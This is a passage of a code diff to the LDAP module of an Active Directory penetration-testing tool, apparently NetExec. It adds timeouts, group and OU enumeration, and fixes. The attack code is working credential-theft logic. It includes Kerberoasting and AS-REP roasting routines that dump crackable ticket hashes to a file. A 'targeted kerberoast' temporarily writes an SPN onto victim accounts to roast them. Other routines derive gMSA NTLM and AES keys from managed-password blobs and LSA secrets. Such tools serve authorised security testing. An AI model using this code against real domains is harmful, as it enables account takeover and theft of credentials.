self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
@@ -360,7 +373,7 @@ class ldap(connection):
|
||||
color="yellow",
|
||||
)
|
||||
# If no preauth is set, we want to be able to execute commands such as --kerberoasting
|
||||
if self.args.no_preauth_targets: # noqa: SIM103
|
||||
if self.args.no_preauth_targets: # ruff: ignore[needless-bool]
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
@@ -390,7 +403,7 @@ class ldap(connection):
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
@@ -454,7 +467,7 @@ class ldap(connection):
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
@@ -483,7 +496,7 @@ class ldap(connection):
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
@@ -550,7 +563,7 @@ class ldap(connection):
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
||||
@@ -576,7 +589,7 @@ class ldap(connection):
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
||||
@@ -626,6 +639,7 @@ class ldap(connection):
|
||||
search_filter = (f"(|(objectSid={self.sid_domain}-512)"
|
||||
f"(objectSid={self.sid_domain}-519)"
|
||||
f"(objectSid={self.sid_domain}-544)"
|
||||
"(objectSid=S-1-5-32-544)"
|
||||
"(objectSid=S-1-5-32-549)"
|
||||
"(objectSid=S-1-5-32-551))")
|
||||
attributes = ["distinguishedName"]
|
||||
@@ -648,6 +662,10 @@ class ldap(connection):
|
||||
for item in resp_parsed:
|
||||
if item:
|
||||
self.admin_privs = True
|
||||
return
|
||||
|
||||
# If nothing matched we are not admin
|
||||
self.admin_privs = False
|
||||
|
||||
def getUnixTime(self, t):
|
||||
t -= 116444736000000000
|
||||
@@ -735,12 +753,12 @@ class ldap(connection):
|
||||
self.users()
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
# Group specific member search
|
||||
if self.args.groups:
|
||||
self.logger.debug(f"Dumping group: {self.args.groups}")
|
||||
|
||||
# Resolve group DN and primaryGroupID (objectSid)
|
||||
group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"])
|
||||
# Resolve group DN and primaryGroupID (objectSid) and member attribute
|
||||
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
|
||||
group_parsed = parse_result_attributes(group_resp)
|
||||
|
||||
if not group_parsed:
|
||||
@@ -748,28 +766,63 @@ class ldap(connection):
|
||||
return
|
||||
else:
|
||||
group = group_parsed[0]
|
||||
direct_group_members = group.get("member", [])
|
||||
if not isinstance(direct_group_members, list):
|
||||
direct_group_members = [direct_group_members]
|
||||
|
||||
# Search filter: user must have membership OR primaryGroupID
|
||||
# Get all group members: user must have membership OR primaryGroupID
|
||||
search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
|
||||
attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
|
||||
resp = self.search(search_filter, attributes)
|
||||
group_members = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned {len(group_members)}")
|
||||
|
||||
else:
|
||||
search_filter = "(objectCategory=group)"
|
||||
attributes = ["cn", "member", "description"]
|
||||
# Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
|
||||
if len(group_members) < len(direct_group_members):
|
||||
for member_dn in direct_group_members:
|
||||
member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
|
||||
member_parsed = parse_result_attributes(member_resp)
|
||||
|
||||
resp = self.search(search_filter, attributes)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
|
||||
if member_parsed:
|
||||
group_members.append(member_parsed[0])
|
||||
else:
|
||||
self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
|
||||
group_members.append({"distinguishedName": member_dn})
|
||||
|
||||
# Deduplicate group members by distinguishedName or cn
|
||||
deduped = {}
|
||||
for item in group_members:
|
||||
key = item.get("distinguishedName", item.get("cn", "")).lower()
|
||||
deduped.setdefault(key, item)
|
||||
resp_parsed = list(deduped.values())
|
||||
|
||||
if self.args.groups:
|
||||
# Display group members
|
||||
if not resp_parsed:
|
||||
self.logger.fail(f"Group '{self.args.groups}' has no members")
|
||||
else:
|
||||
for item in resp_parsed:
|
||||
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
|
||||
self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"])
|
||||
# Display cn if it is a group
|
||||
# Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
|
||||
# If nothing is present, display Distinguished Name
|
||||
if "group" in item.get("objectClass", []):
|
||||
out = item["cn"]
|
||||
elif "sAMAccountName" in item:
|
||||
out = item["sAMAccountName"]
|
||||
elif "cn" in item:
|
||||
out = item["cn"]
|
||||
else:
|
||||
out = item["distinguishedName"]
|
||||
self.logger.highlight(out)
|
||||
|
||||
# List all groups
|
||||
else:
|
||||
search_filter = "(objectCategory=group)"
|
||||
attributes = ["cn", "member", "description"]
|
||||
|
||||
resp = self.search(search_filter, attributes)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
|
||||
|
||||
# Display all groups
|
||||
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
|
||||
for item in resp_parsed:
|
||||
@@ -782,6 +835,52 @@ class ldap(connection):
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
|
||||
def ous(self):
|
||||
if self.args.ous:
|
||||
# Find the OU's distinguished name first
|
||||
self.logger.debug(f"Dumping users from OU: {self.args.ous}")
|
||||
ou_resp = self.search(
|
||||
f"(&(objectCategory=organizationalUnit)(ou={self.args.ous}))",
|
||||
["distinguishedName"],
|
||||
)
|
||||
ou_parsed = parse_result_attributes(ou_resp)
|
||||
|
||||
if not ou_parsed:
|
||||
self.logger.fail(f"OU '{self.args.ous}' not found")
|
||||
return
|
||||
|
||||
self.logger.debug(f"Found OU DN: {ou_parsed[0]['distinguishedName']}")
|
||||
|
||||
# Search for users scoped to that OU
|
||||
resp = self.search(
|
||||
"(&(objectCategory=person)(objectClass=user))",
|
||||
["sAMAccountName", "cn"],
|
||||
baseDN=ou_parsed[0]["distinguishedName"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned: {len(resp_parsed)}")
|
||||
|
||||
if not resp_parsed:
|
||||
self.logger.fail(f"OU '{self.args.ous}' has no users")
|
||||
return
|
||||
|
||||
self.logger.highlight(f"{'-sAMAccountName-':<30} -cn-")
|
||||
for user in resp_parsed:
|
||||
self.logger.highlight(f"{user.get('sAMAccountName'):<30} {user.get('cn', '')}")
|
||||
else:
|
||||
# List all OUs
|
||||
self.logger.debug("Dumping all organizational units")
|
||||
resp = self.search("(objectCategory=organizationalUnit)", ["ou", "distinguishedName"])
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned: {len(resp_parsed)}")
|
||||
|
||||
self.logger.highlight(f"{'-OU-':<40} -Distinguished Name-")
|
||||
for ou in resp_parsed:
|
||||
try:
|
||||
self.logger.highlight(f"{ou['ou']:<40} {ou['distinguishedName']}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Exception: {e}", exc_info=True)
|
||||
|
||||
def computers(self):
|
||||
resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"])
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
@@ -965,57 +1064,15 @@ class ldap(connection):
|
||||
|
||||
def kerberoasting(self):
|
||||
if self.args.no_preauth_targets:
|
||||
usernames = []
|
||||
for item in self.args.no_preauth_targets:
|
||||
if os.path.isfile(item):
|
||||
with open(item, encoding="utf-8") as f:
|
||||
usernames.extend(line.strip() for line in f if line.strip())
|
||||
else:
|
||||
usernames.append(item.strip())
|
||||
|
||||
skipped = []
|
||||
hashes = []
|
||||
|
||||
for spn in usernames:
|
||||
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
|
||||
|
||||
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
|
||||
skipped.append(base_name)
|
||||
continue
|
||||
|
||||
if not self.username:
|
||||
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
|
||||
return
|
||||
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
|
||||
if hashline:
|
||||
hashes.append(hashline)
|
||||
|
||||
if skipped:
|
||||
self.logger.display(f"Skipping account: {', '.join(skipped)}")
|
||||
if hashes:
|
||||
self.logger.display(f"Total of records returned {len(hashes)}")
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
|
||||
for line in hashes:
|
||||
self.logger.highlight(line)
|
||||
if self.args.kerberoasting:
|
||||
with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
|
||||
f.write(line + "\n")
|
||||
self.roast_no_preauth()
|
||||
return
|
||||
|
||||
if self.args.kerberoast_account:
|
||||
target_accounts = []
|
||||
for item in self.args.kerberoast_account:
|
||||
if os.path.isfile(item):
|
||||
try:
|
||||
with open(item, encoding="utf-8") as f:
|
||||
target_accounts.extend(line.strip() for line in f if line.strip())
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to read file '{item}': {e}")
|
||||
else:
|
||||
target_accounts.append(item.strip())
|
||||
|
||||
if self.args.targeted_kerberoast:
|
||||
target_users = parse_argument(self.args.targeted_kerberoast)
|
||||
user_filter = "".join(f"(sAMAccountName={user})" for user in target_users)
|
||||
searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))"
|
||||
elif self.args.kerberoast_account:
|
||||
target_accounts = parse_argument(self.args.kerberoast_account)
|
||||
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
|
||||
|
||||
# build search filter for specific users
|
||||
@@ -1033,8 +1090,10 @@ class ldap(connection):
|
||||
"pwdLastSet",
|
||||
"lastLogon",
|
||||
"objectClass",
|
||||
"distinguishedName",
|
||||
]
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
|
||||
resp = self.search(searchFilter, attributes)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Search Filter: {searchFilter}")
|
||||
self.logger.debug(f"Attributes: {attributes}")
|
||||
@@ -1042,26 +1101,44 @@ class ldap(connection):
|
||||
|
||||
if not resp_parsed:
|
||||
self.logger.highlight("No entries found!")
|
||||
else:
|
||||
# Filter disabled accounts
|
||||
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
||||
for account in disabled_accounts:
|
||||
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
|
||||
return
|
||||
|
||||
# Get all enabled accounts
|
||||
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
||||
# Filter disabled and invalid accounts
|
||||
disabled_accounts = [x for x in resp_parsed if int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE]
|
||||
for account in disabled_accounts:
|
||||
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
|
||||
|
||||
enabled = [x for x in resp_parsed if not int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE]
|
||||
|
||||
if self.args.targeted_kerberoast:
|
||||
self.logger.success(f"Found {len(enabled)} enabled users without SPN.")
|
||||
else:
|
||||
self.logger.display(f"Total of records returned {len(enabled):d}")
|
||||
|
||||
for user in enabled:
|
||||
# Perform Kerberos Attack
|
||||
for user in enabled:
|
||||
spn_added = False
|
||||
|
||||
if self.args.targeted_kerberoast:
|
||||
try:
|
||||
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]})
|
||||
self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}")
|
||||
spn_added = True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e):
|
||||
self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute")
|
||||
else:
|
||||
self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}")
|
||||
self.logger.debug("Traceback", exc_info=True)
|
||||
continue
|
||||
|
||||
try:
|
||||
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
|
||||
self.logger.debug(f"TGT: {TGT}")
|
||||
if TGT:
|
||||
downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}"
|
||||
try:
|
||||
principalName = Principal()
|
||||
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
|
||||
principalName.components = [downLevelLogonName]
|
||||
principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"]
|
||||
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
|
||||
principalName,
|
||||
@@ -1076,22 +1153,61 @@ class ldap(connection):
|
||||
oldSessionKey,
|
||||
sessionKey,
|
||||
user["sAMAccountName"],
|
||||
downLevelLogonName,
|
||||
f"{self.targetDomain}\\{user['sAMAccountName']}",
|
||||
is_computer="computer" in user.get("objectClass", [])
|
||||
)
|
||||
|
||||
pwdLastSet = "<never>" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))
|
||||
lastLogon = "<never>" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"]))))
|
||||
self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}")
|
||||
self.logger.highlight(f"{out}")
|
||||
self.logger.highlight(out)
|
||||
if self.args.kerberoasting:
|
||||
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
|
||||
hash_kerberoasting.write(out + "\n")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Exception: {e}", exc_info=True)
|
||||
self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
|
||||
self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}")
|
||||
else:
|
||||
self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}")
|
||||
finally:
|
||||
if spn_added:
|
||||
try:
|
||||
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]})
|
||||
self.logger.debug(f"SPN removed for {user['sAMAccountName']}")
|
||||
except Exception as cleanup_error:
|
||||
self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}")
|
||||
|
||||
def roast_no_preauth(self):
|
||||
usernames = parse_argument(self.args.no_preauth_targets)
|
||||
|
||||
skipped = []
|
||||
hashes = []
|
||||
|
||||
for spn in usernames:
|
||||
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
|
||||
|
||||
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
|
||||
skipped.append(base_name)
|
||||
continue
|
||||
|
||||
if not self.username:
|
||||
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
|
||||
return
|
||||
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
|
||||
if hashline:
|
||||
hashes.append(hashline)
|
||||
|
||||
if skipped:
|
||||
self.logger.display(f"Skipping account: {', '.join(skipped)}")
|
||||
if hashes:
|
||||
self.logger.display(f"Total of records returned {len(hashes)}")
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
|
||||
for line in hashes:
|
||||
self.logger.highlight(line)
|
||||
with open(self.args.kerberoasting, "a+") as f:
|
||||
f.write(line + "\n")
|
||||
|
||||
def query(self):
|
||||
"""
|
||||
@@ -1130,7 +1246,7 @@ class ldap(connection):
|
||||
def printTable(items, header):
|
||||
colLen = []
|
||||
|
||||
# Calculating maximum lenght before parsing CN.
|
||||
# Calculating maximum length before parsing CN.
|
||||
for i, col in enumerate(header):
|
||||
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
|
||||
colLen.append(max(rowMaxLen, len(col)))
|
||||
@@ -1308,16 +1424,26 @@ class ldap(connection):
|
||||
principal_with_read = resp_parsed[0]["sAMAccountName"]
|
||||
|
||||
# Get the password
|
||||
passwd = "<no read permissions>"
|
||||
rc4 = "<no read permissions>"
|
||||
aes128 = aes256 = ""
|
||||
if "msDS-ManagedPassword" in acc:
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(acc["msDS-ManagedPassword"])
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
|
||||
return True
|
||||
rc4, aes128, aes256 = self.gmsa_compute_secrets(acc["msDS-ManagedPassword"], acc["sAMAccountName"])
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {rc4:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
|
||||
if aes128 and aes256:
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes128-cts-hmac-sha1-96: {aes128}")
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes256-cts-hmac-sha1-96: {aes256}")
|
||||
|
||||
def gmsa_compute_secrets(self, password_data: bytes, sAMAccountName: str):
|
||||
"""Generate RC4, AES128, and AES256 keys for a GMSA account based on the provided password data and username."""
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(password_data)
|
||||
current_password = hexlify(blob["CurrentPassword"].rstrip(b"\x00")).decode()
|
||||
|
||||
keys = generate_kerberos_keys(hex_pass=current_password, user=sAMAccountName, domain=self.targetDomain)
|
||||
rc4 = hexlify(keys[constants.EncryptionTypes.rc4_hmac.value].contents).decode()
|
||||
aes128 = hexlify(keys[constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value].contents).decode()
|
||||
aes256 = hexlify(keys[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value].contents).decode()
|
||||
return rc4, aes128, aes256
|
||||
|
||||
def decipher_gmsa_name(self, domain_name=None, account_name=None):
|
||||
# https://aadinternals.com/post/gmsa/
|
||||
@@ -1334,60 +1460,50 @@ class ldap(connection):
|
||||
return str_hash
|
||||
|
||||
def gmsa_convert_id(self):
|
||||
if self.args.gmsa_convert_id:
|
||||
if len(self.args.gmsa_convert_id) != 64:
|
||||
self.logger.fail("Length of the gmsa id not correct :'(")
|
||||
else:
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
if gmsa_accounts_parsed:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
|
||||
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id:
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
|
||||
break
|
||||
if len(self.args.gmsa_convert_id) != 64:
|
||||
self.logger.fail("Length of the gmsa id not correct :'(")
|
||||
else:
|
||||
self.logger.fail("No string provided :'(")
|
||||
# getting the gmsa account
|
||||
gmsa_accounts = self.search(
|
||||
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
|
||||
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == self.args.gmsa_convert_id:
|
||||
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
|
||||
break
|
||||
|
||||
def gmsa_decrypt_lsa(self):
|
||||
if self.args.gmsa_decrypt_lsa:
|
||||
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
|
||||
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
if gmsa_accounts_parsed:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
|
||||
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
|
||||
# getting the gmsa account
|
||||
gmsa_accounts = self.search(
|
||||
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
||||
sAMAccountName = ""
|
||||
if gmsa_accounts_parsed:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id:
|
||||
gmsa_id = acc["sAMAccountName"]
|
||||
break
|
||||
# convert to ntlm
|
||||
data = bytes.fromhex(gmsa_pass)
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(data)
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
|
||||
for acc in gmsa_accounts_parsed:
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == gmsa_id:
|
||||
sAMAccountName = acc["sAMAccountName"]
|
||||
break
|
||||
# Compute the password and keys
|
||||
data = bytes.fromhex(gmsa_pass)
|
||||
rc4, aes128, aes256 = self.gmsa_compute_secrets(data, sAMAccountName)
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {rc4}")
|
||||
if not sAMAccountName:
|
||||
self.logger.fail("Could not find the GMSA account associated with the provided ID.")
|
||||
else:
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} aes128-cts-hmac-sha1-96: {aes128}")
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} aes256-cts-hmac-sha1-96: {aes256}")
|
||||
else:
|
||||
self.logger.fail("No string provided :'(")
|
||||
self.logger.fail("The provided string does not appear to be a valid GMSA LSA secret.")
|
||||
|
||||
def pso(self):
|
||||
"""
|
||||
@@ -1616,10 +1732,11 @@ class ldap(connection):
|
||||
aeskey=self.aesKey,
|
||||
kdc=self.kdcHost,
|
||||
auth_method="auto",
|
||||
ldap_channel_binding=self.cbt_status == "Always"
|
||||
)
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
domain=self.domain,
|
||||
domain=self.targetDomain,
|
||||
nameserver=self.args.dns_server,
|
||||
dns_tcp=self.args.dns_tcp,
|
||||
dns_timeout=self.args.dns_timeout,
|
||||
@@ -1627,7 +1744,7 @@ class ldap(connection):
|
||||
|
||||
self.logger.debug("Using DNS to retrieve domain information")
|
||||
try:
|
||||
ad.dns_resolve(domain=self.domain)
|
||||
ad.dns_resolve(domain=self.targetDomain)
|
||||
except (resolver.LifetimeTimeout, resolver.NoNameservers):
|
||||
self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.")
|
||||
return
|
||||
@@ -1654,9 +1771,13 @@ class ldap(connection):
|
||||
exclude_dcs=False,
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
if "ldap3-bleeding-edge" in str(e):
|
||||
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
|
||||
return
|
||||
else:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
|
||||
# Collect ADCS data using CertiHound if requested
|
||||
if "adcs" in collect:
|
||||
@@ -1690,13 +1811,13 @@ class ldap(connection):
|
||||
# Create CertiHound adapter and collector
|
||||
adapter = ImpacketLDAPAdapter(
|
||||
search_func=self.search,
|
||||
domain=self.domain,
|
||||
domain=self.targetDomain,
|
||||
domain_sid=self.sid_domain,
|
||||
)
|
||||
|
||||
collector = ADCSCollector.from_external(
|
||||
ldap_connection=adapter,
|
||||
domain=self.domain,
|
||||
domain=self.targetDomain,
|
||||
domain_sid=self.sid_domain,
|
||||
)
|
||||
data = collector.collect_all()
|
||||
|
||||
@@ -167,7 +167,7 @@ class KerberosAttacks:
|
||||
if e.errno == 113:
|
||||
self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
|
||||
else:
|
||||
self.logger.fail(f"Some other OSError occured: {e!s}")
|
||||
self.logger.fail(f"Some other OSError occurred: {e!s}")
|
||||
return None
|
||||
except Exception as e:
|
||||
self.logger.debug(f"TGT: {e!s}")
|
||||
|
||||
@@ -8,16 +8,19 @@ def proto_args(parser, parents):
|
||||
